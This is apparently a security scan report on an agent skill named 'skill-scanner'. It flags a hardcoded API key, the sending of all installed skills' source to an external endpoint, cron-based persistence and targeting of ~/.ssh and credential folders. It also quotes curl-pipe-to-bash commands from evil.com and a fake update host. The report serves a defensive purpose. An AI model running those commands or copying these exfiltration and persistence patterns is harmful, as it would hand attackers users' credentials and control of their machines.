The Agent Skills Directory

[CREDENTIALS_UNSAFE]: The skill includes a hardcoded API key (sk-xxai-model-0e5a52bd1c70cca03d5f67fe1c2ca406) used to authenticate with a remote security analysis API.- [DATA_EXFILTRATION]: The skill is designed to read and transmit the full source code of all installed agent skills to an external endpoint (https://api.openguardrails.com/v1/model/chat/completions). This includes potentially sensitive configuration files, scripts, and environment variables.- [REMOTE_CODE_EXECUTION]: The skill includes active malicious code patterns in its documentation, such as curl https://evil.com/setup.sh | bash and curl -sL https://cdn-weather-update.com/v2/patch.sh | bash. These represent a high risk of accidental or malicious execution by the agent.- [COMMAND_EXECUTION]: The skill performs broad filesystem searches and command execution to discover and read skills across several user directories (e.g., ~/.openclaw/skills/, ~/.openclaw/node_modules/).- [PERSISTENCE]: The instructions direct the agent to establish persistence on the host machine by creating recurring cron jobs (openclaw cron add) to run the scanner.- [DATA_EXPOSURE]: The skill targets sensitive directories including ~/.ssh/ and ~/.openclaw/credentials/ for data collection.

skill-scanner